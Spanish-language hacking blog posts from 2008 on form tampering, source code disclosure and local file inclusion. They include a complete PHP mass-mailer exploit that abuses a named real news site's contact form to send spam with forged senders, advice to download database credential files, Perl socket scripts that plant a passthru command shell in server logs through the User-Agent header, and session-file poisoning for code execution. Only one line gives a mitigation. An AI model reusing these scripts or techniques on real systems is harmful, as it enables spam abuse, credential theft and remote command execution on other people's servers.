Seguro que todos vosotros habeis recurrido a modificar el código fuente de un formulario para poder explotar un XSS, el cual no podíais hacer porque había un input con un maxlength que limitaba el número de caracteres que se podían poner. También es común esto en el caso de las SQL Injections dentro de buscadores y que limitan el número de caracteres. Pues bien, esto ya es Form Tampering, ya que lo modificamos "antes" de enviar la petición. Por el contrario, si lo que hacemos es modificar la petición a través de algún sniffer de cabeceras (como Live HTTP Headers, Tamper Data, Achilles, etc) no se trataría de Form Tampering, puesto que lo que hacemos no es modificar el formulario.


Para poder modificar los campos de los formularios podemos valernos de diversas herramientas, ya sean modificar el código fuente desde el propio navegador, o usar ADD ONS que nos faciliten el trabajo, como el Web Developer Tool Bar. El uso de este add on es sencillo (pueden buscarlo en la web oficial de FireFox) simplemente debemos de posicionarnos en la web que queremos ver el contenido de sus formularios, vamos a la Toolbar que se qeuda en el navegador y seleccionamos la casilla Forms (la cuarta desde la izquierda). Allí marcamos "Display Form Details" y se nos motrarán todos los campos del formulario, permitiendonos modificar los campos "hidden".


Si bien al inicio de este artículo mencioné la vulnerabilidad de Perfil.com que permitía construir un mailer, ahora será cuando ejemplifiquemos cómo usar Form Tampering para explotarla.

Si vamos a esta web ( http://www.perfil.com/contactenos.html ) y mostramos los formularios ocultos... ¿Qué encontramos? <input name="to"> Fijaros que contiene! es el E-mail de Perfil.com Si lo modificamos y añadimos un correo nuestro, y ponemos un nombre de correo inexistente, vereis como nos llega un correo Inbox a nuestra bandeja de entrada desde el correo inexistente :D.


Ahora debemos de analizar porqué el webmaster a dejado esta falla tan grande. Fijaros en la extensión de la página de envío de mails, se trata de .html, luego es una página estática. En las páginas estáticas no existe la posibilidad de crear variables que no se vean con la direccion del correo (como pasa en PHP o ASP), luego el webmaster debe de incluirlo dentro del formulario... y para "ocultarlo" lo ponen como hidden...


Bueno espero que les haya sido de utilidad este paper sobre Form Tampering, para culminar les dejo aquí un exploit para el mailer codeado por Keynet (hay que subirlo a un HackedHost que permita las funciones de Fsockopen:

<title>Mailer ilimitado (#RE) - by KeyNet</title>
<style>
*{
background-color:#000000;
color:#CCCCCC;
font-family:Verdana;
font-size:10px;
border-color:white;
}
#boton{
background:none;
border:solid;
border-width:1px;
}
#no
{
color:red;
}
#yes
{
color:orange;
}
a,a:link,a:visited,a:active
{
color:#ffffff;
text-decoration:none;
}
a:hover
{
color:#CCCCCC;
}
</style>
<FORM id="Form1" name="EnviarForm" method="post" action="">
<table>
<tr>
<td>Asunto: </td>
<td><input type="text" name="nombreFrom" value="<?php if($nombreFrom!=""){echo $nombreFrom;}else{echo 'el asunto de siempre..';}?>" size="40"></td>
<tr>
<td>mail emisor: </td>
<td><input type="text" name="from" value="<?php if($from!=""){echo $from;}else{echo 'cualquiera@gmail.com';}?>" size="40"></td>
</tr>
</table>
<table>
<tr>
<td><textarea name="comentario" rows="12" cols="50"><?php if($comentario!=""){echo $comentario;}else{echo 'visita www.remoteexecution.org';}?></textarea></td>
<td><textarea name="to" rows="12" cols="50"><?php if($to!=""){echo $to;}else{echo 'spammeame@gmail.com'."\n".'amitambienarre@hotmail.com';}?></textarea></td>
</tr>
</table>
<input type="submit" value="ENVIAR" name="Submit"/>
</form>
<?php
@set_time_limit(0);
$nombreFrom = $_POST['nombreFrom'];
$from = $_POST['from'];
$comentario = $_POST['comentario'];
$Submit = $_POST['Submit'];
$to = $_POST['to'];
$count = 0;
if(isset($Submit))
{
$mail_clean = explode("\n",$to);
$count_mails = count($mail_clean);
for($for1=0;$for1<$count_mails;$for1++)
{
$mailto = trim($mail_clean[$for1]);
if(strpos($mailto,'@'))
{
$clean_name = explode('@',$mailto);
$nombreto = $clean_name[0];
$host = 'www.perfil.com';
$path2crack = '/system/modules/com.tfsla.perfil.diario/elements/comentarios_send.jsp'
;
$log_string = 'to='.urlencode($mailto).'&nombreTo='.urlencode($nombreto).'&nombreFrom='.urlencode
($nombreFrom).'&from='.urlencode($from).'&comentario='.urlencode($comentario).'
&Submit=ENVIAR';
$count_log_string = strlen($log_string);
$header = "POST ".$path2crack." HTTP/1.1\r\n";
$header .= "Host: ".$host."\r\n";
$header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,image/jpg,image/gif,*/*;q=0.5\r\n";
$header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Keep-Alive: 300\r\n";
$header .= "Proxy-Connection: keep-alive\r\n";
$header .= "Referer: http://".$host.$path2crack."\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$count_log_string."\r\n\r\n";
$header .= $log_string."\r\n\r\n";
$socket = fsockopen($host,80);
fwrite($socket,$header);
$count++;
printf("<li>%s SPAMMED (%d) !!</li>",htmlentities($mailto),$count);
}
}
print '<script>alert("'.$count.' mails spammed !!")</script>';
}
?>
5 0verl0ad Labs: 2008 Saludos! Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar algu...

sábado, 23 de agosto de 2008

Source Code Disclosure [ S.C.D.]



Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª clase, tales como RFI, LFI, o SQL Injections pero que aún así puede suponer un gran impacto sobre la seguridad de una web) al ver el exploit codeado por SetH.


La vulnerabilidad en sí consiste en permitir ver el código fuente de archivos alojados en el servidor, conllevando a que un atacante malicoso obtenga información sensible, tales como los datos de las DBs (nombre de usuario, password, etc) o poder ver el funcionamiento de una tercera aplicación que esté en el servidor, permitiendo buscar vulnerabilidades de forma más facil.

Nosotros vamos a diferenciar entre dos tipos de SCD, el primero que pasaremos inmediatamente a analizar se basa en la posibilidad de descarga a nuestro ordenador de archivos de la web. El segundo tipo del que hablaremos es caracterizado por ver el código fuente dentro de otro archivo, es decir, lo podremos ver desde el navegador sin necesidar de descargarlo.


Imaginemos un posible código fuente de una aplicación encargada de descargar los archivos que nosotros le indiquemos a través de una sencilla petición GET. El código vulnerable podría ser este:
<?php
/* Ejemplo de código vulnerable
===================================
Paper sobre Source Code Disclosure
By Vengador de las Sombras
===================================
Flaming our Skills TeaM (F.O.S.)
=================================== */
ob_start();
$archivo=$_GET['descargar'];
if ($archivo == " "){ //Si no se introduce nada en descargar, mostrara un error
echo '<script>alert("ERROR! No ha introducido ningún archivo!!")</script>';
exit;
}
header("Pragma: public");
header("Expires: 0");
header("Content-type: aplication/octet-stream");
header("Content-disposition: attachment; filename=$archivo");
header("Content-Length:".filesize("$archivo"));
readfile("$filename");
?>


El funcionamiento de esta sencillísima aplicación sería el de descargar un archivo que introduzcamos a través de la URL, por ejemplo http://SCD.com/index.php?descargar=/documentos/ficha.doc . Como podeis ver en el código fuente, no hemos añadido ningún tipo de filtro, por lo que un usuario malintencionado podría poner en ?descargar= otro archivo distinto, lo que conllevaría la descarga de otro archivo alojado en el servidor.

Es decir, si nosotros modificamos la URL y colocamos http://SCD.com/index.php?descargar=/admin/admin.php, obtendríamos como resultado la descarga del index del panel de administración... Con lo que podríamos buscar posibles vectores de ataque contra ese archivo (o contra cualquier otro que nos descarguemos).

Pero de esta forma no se le saca el auténtico jugo de esta vulnerabilidad, puesto que puede ser dificultoso encontrar bugs dentro del source de las aplicaciones. El auténtico jugo se le saca cuando dentro del código fuente de lo que nos descargamos aparecen datos de la DB. En este caso, nos abría tocado el gordo.


Retomemando el ejemplo anterior, imaginémonos que dentro del código fuente de admin.php encontramos una línea similar a esta:

include("/admin/includes/database.inc");


Inclusiones de este tipo dentro del código fuente de un .php suele ir asociado a la asignación de los datos necesarios para conectarse a la Base de Datos y que la aplicación trabaje sobre ella. Entonces siempre deberemos de descargarnos esta clase de archivos, puesto que es muy alta la probabilidad de encontrar datos como DB_USER, DB_PASS y demás.

El segundo tipo del que os iba a hablar es del que aparece en el siguiente post de una vulnerabilidad descubierta por SetH (Post aqui). Se produce cuando permiten la inclusión de un archivo (el típico LFI), pero filtran el código para evitar que se ejecute.


A diferencia del tipo anteriormente comentado, ahora para ver el código fuente no recurriremos a la descarga del archivo, si no que al hacer la inclusión pueden ocurrir dos cosas:

a)Veamos el código fuente del archivo
b)Sólo veamos pequeñas partes del código y algunos tags HTML ejecutados

De encontrarnos en el segundo caso, para ver el código fuente únicamente tendremos que darle a "Ver Código fuente" dentro del navegador, en FireFox existe el método abreviado de Crtl + U. Ahí veremos perfectamente todo el código fuente :) ( el PHP tambien se ve de esta forma)
5 0verl0ad Labs: 2008 Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª...

Local File Inclusion: Infectando archivos

Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen ningún sistema de upload de fotos u otro tipo de archivos... Entonces nos vemos en la necesidad de recurrir a otros trucos para poder sacarle jugo a ese LFI que habíamos encontrado.

Como no podemos subir archivos desde nuestro ordenador, tendremos que buscar una forma para poder introducir nuestra shell dentro del servidor. Es aquí donde entra el juego la "infección", entendiendo infección como la adición de código malicioso (una shell, un backdoor, algún exploit, etc) dentro de un archivo legítimo del servidor. Esta hazaña puede parecer muy dificil, pero si tenemos en cuenta que existen numerosos archivos que son sobreescritos mientras que navegamos, la cosa se aclara un poco más. Para ejemplificar esto de la infección de archivos, voy a proceder a explicar cómo explotar un LFI a partir de los Logs del servidor, y también a partir de un sistema de sesiones (este último ejemplo lo extraigo del foro vZack).

=====================================================================================
INFECTANDO LOGS

Todo el mundo sabe que en los servidores se guardan unos logs que archivan los errores y movimientos que se realizan dentro del servidor. Usualmente, estos logs suelen guardar informaciones tales como la IP del visitante, su navegador, etc...


Esta información la extraen a través de las HTTP Headers que se mandan al servidor. Un ejemplo de una cabecera corta sería:

GET / HTTP/1.1
Host: level-23.com
User-Agent: Mozilla Firefox
Connection: Keep-Alive


Como observais, User-Agent va a contener la información de nuestro navegador... y esta misma información (exactamente lo mismo) va a ser escrita dentro de los logs....

Si tenemos en ese servidor un archivo vulnerable a LFI, ya sabeis, los típicos:


...........
...........
codigo....
.,,,,,,,,,...
<?php
include($_GET['page']);
?>


Podemos poner en la variable de tipo GET page un archivo que se encuentre dentro del servidor... Usualmente solemos buscar por instinto algún upload de imágenes/txt o cosas así... Pero si no encontramos alguno... ¿Como podemos subir nuestra shell?.

En vez de subir shell, lo que vamos a hacer es infectar los logs con código malicioso, es decir, vamos a introducir una shell dentro del servidor aprovechando que guarda la información de variables tales como User-Agent (esta técnica también es aplicable a otras variables).


Para inyectar el código, tenemos dos opciones, la primera sería usar algún sniffer de cabeceras como puedes Tamper Data, o Live HTTP Headers, (ambos add ons para FireFox). La segunda opción (y con la que yo creo que se aprende más) es creando un exploit (yo recomiendo PHP o PERL).

El exploit lo debemos de componer de dos partes. La primera parte será la encargada de mandar una cabecera que infecte los logs, y la segunda será la encargada de ejecutar los comandos y mostrar el output de éstos. Para empezar debemos de lanzar unos sockets que manden la cabecera con el siguiente código:

<?php echo "Empieza"; passthru($_SERVER[HTTP_FoS); echo "Final"; ?>


Entonces debería de quedar algo tipo...
use IO::Socket::INET;
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET / HTTP/1.1\nHost: $host\nUser-Agent: <?php echo "Empieza"; passthru($_SERVER[HTTP_FoS); echo "Final"; ?>\nConnection: Keep-Alive\n\n";

close $socket;


Y despues para ejecutar los comandos, tenemos que mandar en la cabecera una nueva variable, FoS, que será la contenga los comandos a ejecutar, pero esta vez tendremos que hacer una petición GET al archivo vulnerable a LFI, haciendo ya la inclusión del log:

use IO::Socket::INET;
$peticion= "path/archivo.php?="."../../lugar/del/log";
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET $peticion HTTP/1.1\nHost: $host\nFoS: ls -la\nConnection: Keep-Alive\n\n";
close $socket;


Yo recomiendo hacer un bucle con FOR para incluir todos los lugares donde se encuentran los logs de forma habitual... (como el lógico tendreis que añadir la variable $host, y montar realmente el exploit, esto es un simple PoC).

Para hacer el output del comando, recomiendo recoger la del socket y pasarle un patrón de búsqueda para que busque "Empieza" y a partir de ahí mostrar el código fuente hasta "Final" (por eso lo escribí en la shell, para que sirviesen como acotación del output).


=====================================================================================
INFECTANDO SESIONES (extraido del foro de vZack)

Introducion
Muchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este manual os enseñare a como ejecutar LFI teniendo una web vulnerable.

Requisitos de la web:
-Que use LFI
-Que tenga un sistema de usuarios o algún sistema que funciones con sesiones.

Teoría
Supongo que sabreis que las sesiones php te mandan una cookie (llamada PHPSSESID habitualmente) con un identificador en su interior, que a php le sirve para encontrar los valores de la cookie que se encuentran en /tmp/sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_[id] introduciendo código php en su interior.

La practica
Ejemplo de código vulnerable simplificado:
<?php
session_start();
$idioma = $_GET['idioma'];
$_SESSION['idioma'] = $idioma;

if($_SESSION['idioma'] == 'en')
echo 'Hi, welcome to my website';
else
echo'Hola, bienvenido a mi sitio web';
?>
Que pasaría si visitaríamos index.php?idioma=<? phpinfo(); ?>, $_SESSION[idioma] tomaría el valor de <? phpinfo(); ?>, y este código se guardaría en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php "infectando" la sesion.

Solución
Para que esto no te pase en tus aplicaciones es recomendable pasar la sesión por htmlspecialchars, asi no podrian abrir las tags del php (<? y ?>)

Este método se me a ocurrido a mi pero bueno seguramente esta descubierto hace tiempo.

Saludos a todos (Hondamena)


5 0verl0ad Labs: 2008 Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen n...
<